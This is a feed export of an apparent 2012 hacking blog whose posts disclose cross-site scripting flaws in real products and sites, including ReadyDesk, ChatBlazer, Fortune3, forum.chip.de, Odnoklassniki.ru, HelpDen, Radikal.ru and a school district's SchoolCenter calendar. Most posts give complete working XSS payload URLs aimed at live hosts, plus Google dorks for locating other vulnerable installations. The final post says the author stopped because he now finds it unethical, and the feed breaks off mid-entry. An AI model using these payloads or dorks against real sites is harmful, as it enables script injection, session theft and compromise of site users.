tag:blogger.com,1999:blog-7917994925549813172026-04-07T10:20:39.065-10:00st2teaSonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.comBlogger118125tag:blogger.com,1999:blog-791799492554981317.post-48276874920498969982012-04-20T09:52:00.000-10:002012-04-20T09:54:11.093-10:00Closed.<div dir="ltr" style="text-align: left;" trbidi="on"> <b>Reason?</b><br /> <br /> <b><span style="color: black;"><span style="color: black; font-family: Arial; font-size: small;">I will not post any bugs in the future, because I changed my views on this and now consider it to be unethical.</span></span></b><br /> <br /></div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-84734777315104794992012-04-19T08:23:00.000-10:002012-04-19T08:34:59.894-10:00ReadyDesk Cross Site Scripting<div dir="ltr" style="text-align: left;" trbidi="on"> <b># Exploit Title: ReadyDesk Cross Site Scripting</b><br /> <b># Date: 19.04.2012</b><br /> <b># Author: Sony</b><br /> <b># Software Link: http://www.readydesk.com/</b><br /> <b># Google Dorks: powered by readydesk</b><br /> <b># Web Browser : Mozilla Firefox</b><br /> <b># Blog : http://st2tea.blogspot.com</b><br /> <b># PoC:</b><br /> <b>&nbsp;http://st2tea.blogspot.com/2012/04/readydesk-cross-site-scripting.html</b><br /> <b>..................................................................</b><br /> <b><br /></b><br /> <b>Well, we have persistent xss in the "View Existing Tickets".</b><br /> <br /> <b>We can use Demo:</b><br /> <br /> <b>http://www.readydesk.com/demo.asp</b><br /> <b><br /></b><br /> <b>http://www.readydesk.com/rd7/customer/rdlogin.aspx (Customer Interface)</b><br /> <b><br /></b><br /> <b>But first --&gt; Submit New Ticket (with our xss code). (i think all fields in the send form)</b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6yjKmH-KEh6YSLfjnkPRk_uNurlvJ51ksmXBREkIbHGrDM9N1f_Ebj9dtNQkPinjWs7vR0XeEjDO_UxFMZwT-Iwjj_HD4jKoc5XidHZ0wauoTj2JoMPDmN-7wJAsIhGr0ZxVVXb1Yz-7E/s1600/ready.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6yjKmH-KEh6YSLfjnkPRk_uNurlvJ51ksmXBREkIbHGrDM9N1f_Ebj9dtNQkPinjWs7vR0XeEjDO_UxFMZwT-Iwjj_HD4jKoc5XidHZ0wauoTj2JoMPDmN-7wJAsIhGr0ZxVVXb1Yz-7E/s320/ready.JPG" width="320" /></a></div> &nbsp; <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /></div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-57057059537923948272012-04-19T00:55:00.002-10:002012-04-19T00:57:17.148-10:00ChatBlazer Flash Chat Cross Site Scripting<div dir="ltr" style="text-align: left;" trbidi="on"> <b># Exploit Title:&nbsp; ChatBlazer Flash Chat Cross Site Scripting<br /># Date: 19.04.2012<br /># Author: Sony<br /># Software Link: www.chatblazer.com/<br /># Web Browser : Mozilla Firefox<br /># Blog : http://st2tea.blogspot.com<br /># PoC:</b><br /> <b>http://st2tea.blogspot.com/2012/04/chatblazer-flash-chat-cross-site.html<br />.................................................................<br /><br />Well, we have cross site scripting in ChatBlazer.<br /><br />We can use Demo. (simple example)</b><br /> <br /> http://demo.chatblazer.net/cb8.5/client.php?username=%27;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//\%27;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//%22;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//\%22;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29%3C/SCRIPT%3E&amp;password=&amp;roomid=1009&amp;config=config.php%3Fembed%3D0<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQNslM2vGKk2x71g8wrtBVtucKYzOGcFonXn1_iLn8sIIbOhDFLV5mG2CyyyNIzxGu637kYOCAjdUF3lTYUwHEKd0YoVpy49KRrvV7tlk-H37ONkDf995-tgDuhyphenhypheniUiCgicYdrnvZerQ2t/s1600/chat.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQNslM2vGKk2x71g8wrtBVtucKYzOGcFonXn1_iLn8sIIbOhDFLV5mG2CyyyNIzxGu637kYOCAjdUF3lTYUwHEKd0YoVpy49KRrvV7tlk-H37ONkDf995-tgDuhyphenhypheniUiCgicYdrnvZerQ2t/s320/chat.JPG" width="320" /></a></div> <br /></div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-86052070108063762012-04-18T00:49:00.003-10:002012-04-18T00:50:58.462-10:00Fortune3 Cross Site Scripting<div dir="ltr" style="text-align: left;" trbidi="on"> <b># Exploit Title: Fortune3 Cross Site Scripting<br /># Date: 18.04.2012<br /># Author: Sony<br /># Software Link: http://www.fortune3.com/<br /># Google Dorks: Powered by FORTUNE3<br /># Web Browser : Mozilla Firefox<br /># Blog : http://st2tea.blogspot.com<br /># PoC:</b><br /> <b>http://st2tea.blogspot.com/2012/04/fortune3-cross-site-scripting.html<br />..................................................................<br /><br />Well, we have some xss in Fortune3.<br /><br />Our test with http://www.naturalab.com (simple example)<br /><br /><br />Add to cart - product what you want and open page Print Cart or Email Cart.<br /><br />Print Cart and Email Cart:<br /><br />Put our xss code in "Include a Note" and press button Continue.</b><br /> <br /> <br /> <br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPSsg2C6DvkJ767j3tyoYbZbtUJPhA5mwDk3ay7UEn061WNyz659X52fyKI4dYwI_Je7mkpaVzIWcrKyRdzFhyphenhyphen4yrAWphbN1YdpOhNBS2kobAtZpDV5LCFH22GtjepXU4lGlRejvmVqDge/s1600/include1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPSsg2C6DvkJ767j3tyoYbZbtUJPhA5mwDk3ay7UEn061WNyz659X52fyKI4dYwI_Je7mkpaVzIWcrKyRdzFhyphenhyphen4yrAWphbN1YdpOhNBS2kobAtZpDV5LCFH22GtjepXU4lGlRejvmVqDge/s320/include1.JPG" width="320" /></a></div> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGZ_0qQWTp18OkpxK4BsjOwziqBVDkMWQXTuXgezQVR8QofooGXNBJmeWrSHS-c_LVDQw1aXO4zF71GYhovd9xaSs7wnrCE4DinUj0tzRcEU12VxaScbQd3hQ6-8Qww_WL_AWXdXBKBspP/s1600/include2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGZ_0qQWTp18OkpxK4BsjOwziqBVDkMWQXTuXgezQVR8QofooGXNBJmeWrSHS-c_LVDQw1aXO4zF71GYhovd9xaSs7wnrCE4DinUj0tzRcEU12VxaScbQd3hQ6-8Qww_WL_AWXdXBKBspP/s320/include2.JPG" width="320" /></a></div> <br /> <br /> <br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPPbyskhhDqPFnM1CEFjGbR-zPsNRG3RkpOHtAMf8EUff2KYh4KOMmOoFBkGPSCh-Try2m3IKecBi6bl2aGiBf6aQJyhG_UKvdIurWL3KdjfsIc81jdEIS972arX1wEv_hf3BeIt1j5x_M/s1600/email1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPPbyskhhDqPFnM1CEFjGbR-zPsNRG3RkpOHtAMf8EUff2KYh4KOMmOoFBkGPSCh-Try2m3IKecBi6bl2aGiBf6aQJyhG_UKvdIurWL3KdjfsIc81jdEIS972arX1wEv_hf3BeIt1j5x_M/s320/email1.JPG" width="320" /></a></div> <br /> <br /> <br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsy7AkKhrwyw1C6FM39sZBHEiXQ8hiEFpLv1ZqJz497OlLV302kvd4QHwnxJD4HmXE4-PliEYNyGxiifSHOE8FdsauQMRdICextJERlpu9vsWYxuRt5Eg3gV3qo2Q3bRAgsm60eAahi8bI/s1600/email2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsy7AkKhrwyw1C6FM39sZBHEiXQ8hiEFpLv1ZqJz497OlLV302kvd4QHwnxJD4HmXE4-PliEYNyGxiifSHOE8FdsauQMRdICextJERlpu9vsWYxuRt5Eg3gV3qo2Q3bRAgsm60eAahi8bI/s320/email2.JPG" width="320" /></a></div> <br /></div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com2tag:blogger.com,1999:blog-791799492554981317.post-53970857808152837742012-04-17T11:26:00.003-10:002012-04-17T11:26:50.261-10:00Hijacking attempt [mini funny xss stuff]<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUJ0C4yu0wYES1q_eP6up04wVFY6asK7nEVXGTfSS8LPv0J4TkKTSyybrsCmASv6FD7lSz89SMWYeWMCw-IAjbwrhVGAVxoWGqR63Re38lUR76bqBBrb6chvm-vV64wL3JKDXj0zcBZGtt/s1600/funny.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUJ0C4yu0wYES1q_eP6up04wVFY6asK7nEVXGTfSS8LPv0J4TkKTSyybrsCmASv6FD7lSz89SMWYeWMCw-IAjbwrhVGAVxoWGqR63Re38lUR76bqBBrb6chvm-vV64wL3JKDXj0zcBZGtt/s320/funny.JPG" width="320" /></a></div> <br /> <br /> <b><br /></b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsbKHNvq4b9CYY5qzq7ujVIND_RABKY-SE1woP-NKHOpsaWUywf4dW59I_10btd9bNcS8hmU4Rzmfc2Pdd923lM2XnmDS_zRCfIp37a-1u39cN4h2SdwUfxuKAYLBK2NaVD6HtX9Hdj8fc/s1600/funny3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsbKHNvq4b9CYY5qzq7ujVIND_RABKY-SE1woP-NKHOpsaWUywf4dW59I_10btd9bNcS8hmU4Rzmfc2Pdd923lM2XnmDS_zRCfIp37a-1u39cN4h2SdwUfxuKAYLBK2NaVD6HtX9Hdj8fc/s320/funny3.JPG" width="320" /></a></div> <br /></div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-57830214850168507042012-04-16T11:34:00.002-10:002012-04-16T11:52:15.392-10:00forum.chip.de xss<div dir="ltr" style="text-align: left;" trbidi="on"> http://codepad.org/2r8vW8DM<br /> <br /> <b>or</b><br /> <br /> http://forum.chip.de/newthread.php?do=newthread&amp;f=155%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBsHxayVbqZ62hGqBiHDfinSKvmluNDSRl3amBYyQ6ywjhC1v09PGZ5g4F0cXmEsEGu4ok-ga6J-9-YFb8EHZkEYek3o_kel1f4fS8trDtlz8gOahbeugDJC_f-13nuHRp01vSIOn1dtFb/s1600/CHIP.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBsHxayVbqZ62hGqBiHDfinSKvmluNDSRl3amBYyQ6ywjhC1v09PGZ5g4F0cXmEsEGu4ok-ga6J-9-YFb8EHZkEYek3o_kel1f4fS8trDtlz8gOahbeugDJC_f-13nuHRp01vSIOn1dtFb/s320/CHIP.JPG" width="320" /></a></div> <br /> <b>O_o</b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8yHfSStNd8dkqVj7qsUqeajIAimJLPxdDw2RMCb3KgqhVEMbI8WrpUNUSz4RjLx-AOmcqtq96JRAksjCdNNtZXxAyop9TpVg1PC2Py6l0h-QZwVy5Gghdl8vQlJHcKitncmhsW28Sjhtg/s1600/CHIP2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8yHfSStNd8dkqVj7qsUqeajIAimJLPxdDw2RMCb3KgqhVEMbI8WrpUNUSz4RjLx-AOmcqtq96JRAksjCdNNtZXxAyop9TpVg1PC2Py6l0h-QZwVy5Gghdl8vQlJHcKitncmhsW28Sjhtg/s320/CHIP2.JPG" width="320" /></a></div> <b>or</b><br /> <br /> http://forum.chip.de/grafikkarten/?daysprune=-1%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&amp;order=desc&amp;sort=views<br /> <br /> <b>%)</b><br /> <br /> <br /></div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-49915841664443584662012-04-15T06:57:00.000-10:002012-04-15T07:03:29.327-10:00Odnoklassniki.ru Cross Site Scripting<div dir="ltr" style="text-align: left;" trbidi="on"> <pre><b># Date: 15.04.2012 # Author: Sony and Flexxpoint # Web Browser : Mozilla Firefox # Sony Blog: http://st2tea.blogspot.com # Flexxpoint Blog: http://flexxpoint.blogspot.com/</b></pre> <pre><b># PoC:</b></pre> <pre><b>http://st2tea.blogspot.com/2012/04/odnoklassnikiru-cross-site-scripting.html</b></pre> <pre><b>..................................................................</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>Well, we have a cross site scripting on Odnoklassniki.ru</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>http://www.odnoklassniki.ru/dk?st.cmd=appSearchResultList&amp;st.isEmpty=off&amp;st.query=%22%22%3E%3Cscript%3Ealert%28%22Odnoklassniki.ru%20Cross%20Site%20Scripting%22%29%3C/script%3E%3Ciframe%20src=%22http://xssed.com%22%3E</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>or</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>http://codepad.org/kKjrrn76</b></pre> <pre>&nbsp;</pre> <pre></pre> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgHeQIBxDTzyUex-OoGTa2KIGZ2r-h6bLP3aLiko3Q3veU8axFVTVsW24byd_eORbmayOjlPQqBlm4wIyijbcEJAUc5TZ9zJsddTf99de2GCatAniMWgZ0XEBIBCMhIhV9KHkFpFfJajLx/s1600/odnoklass1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgHeQIBxDTzyUex-OoGTa2KIGZ2r-h6bLP3aLiko3Q3veU8axFVTVsW24byd_eORbmayOjlPQqBlm4wIyijbcEJAUc5TZ9zJsddTf99de2GCatAniMWgZ0XEBIBCMhIhV9KHkFpFfJajLx/s320/odnoklass1.JPG" width="320" /></a></div> <pre></pre> <pre></pre> <pre></pre> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfbDJPRxX3T13R-L1NIofRERP0gtw6JmlmQqSELgJ3w13WxInzSzdJO1Sm_SZ5p6kqO2h_1CgXI46zMRom6zB_KT_gnEcHCjgQTvUkeH9bEG8Mpxv8oOb3UhpLOwGf4vkJcGn_xF9bRXS3/s1600/odnoklass2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfbDJPRxX3T13R-L1NIofRERP0gtw6JmlmQqSELgJ3w13WxInzSzdJO1Sm_SZ5p6kqO2h_1CgXI46zMRom6zB_KT_gnEcHCjgQTvUkeH9bEG8Mpxv8oOb3UhpLOwGf4vkJcGn_xF9bRXS3/s320/odnoklass2.JPG" width="320" /></a></div> <br /> <pre></pre> <br /> <br /> <pre></pre> <div class="separator" style="clear: both; text-align: center;"> <iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/PFB-oVstfFI?feature=player_embedded' frameborder='0'></iframe></div> <pre></pre> <br /> <pre></pre> </div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com2tag:blogger.com,1999:blog-791799492554981317.post-72974560548112360892012-04-15T02:23:00.002-10:002012-04-15T02:25:32.768-10:00HelpDen Cross Site Scripting<div dir="ltr" style="text-align: left;" trbidi="on"> <pre><b># Exploit Title: HelpDen Cross Site Scripting # Date: 15.04.2012 # Author: Sony # Software Link: http://www.helpden.com/ # Google Dorks:inurl:.helpden.com/leavemessage.php?code # Web Browser : Mozilla Firefox # Blog : http://st2tea.blogspot.com # PoC: http://st2tea.blogspot.com/2012/04/helpden-cross-site-scripting.html ..................................................................</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>We have a simple xss in HelpDen.</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>Our xss is here:</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>https://url_name/leavemessage.php?code=[our xss] &nbsp;</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>https://admin.helpden.com/leavemessage.php?code=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>or&nbsp;</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>http://codepad.org/wiyno0Wx</b></pre> <pre>&nbsp;</pre> <pre></pre> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMt3UgRbmNyWHUkeCOP8BLyufm5YZho03NbfxLdx3unkdIHmHmp1k8H5Gibrrl7RYX2vh-7U0xAUPYvkN7axUrGRGOFDopF6PfrUlA_gWC0WqTrPHZuiuQQ4sj7BVWoIy4W0gQSveX6qWK/s1600/helpden.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMt3UgRbmNyWHUkeCOP8BLyufm5YZho03NbfxLdx3unkdIHmHmp1k8H5Gibrrl7RYX2vh-7U0xAUPYvkN7axUrGRGOFDopF6PfrUlA_gWC0WqTrPHZuiuQQ4sj7BVWoIy4W0gQSveX6qWK/s320/helpden.JPG" width="320" /></a></div> <pre></pre> <pre></pre> <pre></pre> <pre></pre> <pre></pre> <pre></pre> </div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-37527307637415052862012-04-15T00:13:00.000-10:002012-04-15T00:34:06.523-10:00Radikal.ru Cross Site Scripting<div dir="ltr" style="text-align: left;" trbidi="on"> <pre><b># Date: 15.04.2012</b></pre> <pre><b># Author: Sony</b></pre> <pre><b># Web Browser : Mozilla Firefox</b></pre> <pre><b># Site: http://insecurity.ro </b></pre> <pre><b># PoC:&nbsp;</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>http://st2tea.blogspot.com/2012/04/radikalru-cross-site-scripting.html </b></pre> <pre><b>..................................................................</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>Well, we have a cross site scripting on Radikal.ru</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>What is Radikal.ru?</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>http://ru.wikipedia.org/wiki/Radikal.ru</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>We have a multiple xss vuln..</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>But i put only one in the archive. Because it's a simple for use.</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>http://www.radikal.ru/GALLERY/PageGallery.aspx?pg=258&amp;period=022008%22%22%3E%3Cscript%3Ealert%28%22Radikal.ru%20Cross%20Site%20Scripting%22%29%3C/script%3E&amp;id_gallery=-1 </b></pre> <pre><b>&nbsp;</b></pre> <pre><b>or&nbsp;</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>http://codepad.org/qiZsoABI</b></pre> <pre></pre> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUtoOWMOW8AS3KF7p2JwZJnXAR_roiIs6Ou7kM6j1KIfG0uWfmMAUXaU_GuYg3kNVL7_IsRD3b_DKqXqAf5QgMBso0uivT5eYEndxoi4fRyBzzOEtZ5Qo-B94k4II1vyJ2T4K7kLxAKtPe/s1600/radikal.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUtoOWMOW8AS3KF7p2JwZJnXAR_roiIs6Ou7kM6j1KIfG0uWfmMAUXaU_GuYg3kNVL7_IsRD3b_DKqXqAf5QgMBso0uivT5eYEndxoi4fRyBzzOEtZ5Qo-B94k4II1vyJ2T4K7kLxAKtPe/s320/radikal.JPG" width="320" /></a></div> <br /> <pre></pre> <br /> <b><br /></b><br /> <pre><b>Where is other xss on radikal.ru?</b></pre> <pre><b>Use login..;) You can see in the edit pics, etc..</b></pre> <pre><b>It's a simple.&nbsp;</b></pre> <pre>&nbsp;</pre> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlzMS-ischE3MBPf4AwSoUhyphenhyphenpyL2msmMG1RHcCgB4SKATJVuJxI77gTION669uEgG_RYrUMqiEzxgfvDiBFPjX_hiQRoC6AaBNB4dP5QU0vvrqz9B47DOb8aXC51v4GInVxYezPCBw5bKb/s1600/radikal1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlzMS-ischE3MBPf4AwSoUhyphenhyphenpyL2msmMG1RHcCgB4SKATJVuJxI77gTION669uEgG_RYrUMqiEzxgfvDiBFPjX_hiQRoC6AaBNB4dP5QU0vvrqz9B47DOb8aXC51v4GInVxYezPCBw5bKb/s320/radikal1.JPG" width="320" /></a></div> <pre>&nbsp;</pre> <pre>&nbsp;</pre> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHPrpXl48hqANg-HLCHUvkU8Lvxcfl1gnHRvTM3ghbGEdDUmELAB6BhRZHQ0QSd2e3ACD-KWOaGcqHuw8ZjwmfoS8TJD9XD4QRrQG2WUgK7wvCr__lPCUWQXNLqfbJlX4wbpChBmPTELb9/s1600/radikal3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHPrpXl48hqANg-HLCHUvkU8Lvxcfl1gnHRvTM3ghbGEdDUmELAB6BhRZHQ0QSd2e3ACD-KWOaGcqHuw8ZjwmfoS8TJD9XD4QRrQG2WUgK7wvCr__lPCUWQXNLqfbJlX4wbpChBmPTELb9/s320/radikal3.JPG" width="320" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> <pre>&nbsp;</pre> <pre></pre> <pre></pre> </div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-45579392806065434442012-04-11T06:57:00.001-10:002012-04-11T07:01:17.376-10:00SchoolCenter Web Tools Version 11.0.27 Cross Site Scripting<div dir="ltr" style="text-align: left;" trbidi="on"> <b># Exploit Title:&nbsp; SchoolCenter Web Tools Version 11.0.27 Cross Site Scripting</b><br /> <b># Date: 11.04.2012</b><br /> <b># Author: Sony and Flexxpoint</b><br /> <b># Software Link: www.thinqed.com</b><br /> <b># Google Dorks: inurl:/education/components/calendar/ site:edu</b><br /> <b># Web Browser : Mozilla Firefox</b><br /> <b># Site : http://insecurity.ro</b><br /> <b># PoC:&nbsp;</b><br /> <b>http://st2tea.blogspot.com/2012/04/schoolcenter-web-tools-version-11027.html</b><br /> <b>..................................................................</b><br /> <b><br /></b><br /> <b>Well, we have xss in calendar.</b><br /> <b><br /></b><br /> <b>Demo:</b><br /> <br /> <br /> http://schoolctr.hebisd.edu/education/components/calendar/default.php?sectiondetailid=74&amp;my_family=&amp;d=4&amp;m=4&amp;y=2012&amp;et=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3Eday<br /> <br /> <br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1EAE2smpP3m8sw2DkBrYqbLtPXSonxoogyEm6mpMdz2h0WhxORR_4bi_bhuEVqQCq0M4YljEBStwkgCJ4tm-YkevNEYnzxX8QoEDt-WwDJJUNbL4tsEP87ZmnamOIbWon3eMrbQMbGO6V/s1600/xss.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1EAE2smpP3m8sw2DkBrYqbLtPXSonxoogyEm6mpMdz2h0WhxORR_4bi_bhuEVqQCq0M4YljEBStwkgCJ4tm-YkevNEYnzxX8QoEDt-WwDJJUNbL4tsEP87ZmnamOIbWon3eMrbQMbGO6V/s320/xss.JPG" width="320" /></a></div> <br /> <br /> <b>etc..</b></div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-11299532717758026942012-04-09T04:14:00.000-10:002012-04-09T04:19:44.278-10:00Nimbuzz 2.2.0 Cross Site Scripting<div dir="ltr" style="text-align: left;" trbidi="on"> <div dir="ltr" style="text-align: left;" trbidi="on"> <pre><b># Exploit Title: Nimbuzz 2.2.0 Cross Site Scripting # Date: 09.04.2012 # Author: Sony # Software Link: http://www.nimbuzz.com/en/get/voip-and-chat-on-pc/pc-client-downloaded # Software Version: 2.2.0 # Web Browser : Mozilla Firefox # Blog : http://st2tea.blogspot.com # PoC: http://st2tea.blogspot.com/2012/04/nimbuzz-220-cross-site-scripting.html ..................................................................</b></pre> <pre><b>&nbsp;</b></pre> <pre><b>Well, we have xss in the messenger, interesting place for xss)</b></pre> <pre><b>&nbsp;</b></pre> <pre>&nbsp;</pre> <pre></pre> <pre></pre> <pre></pre> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a 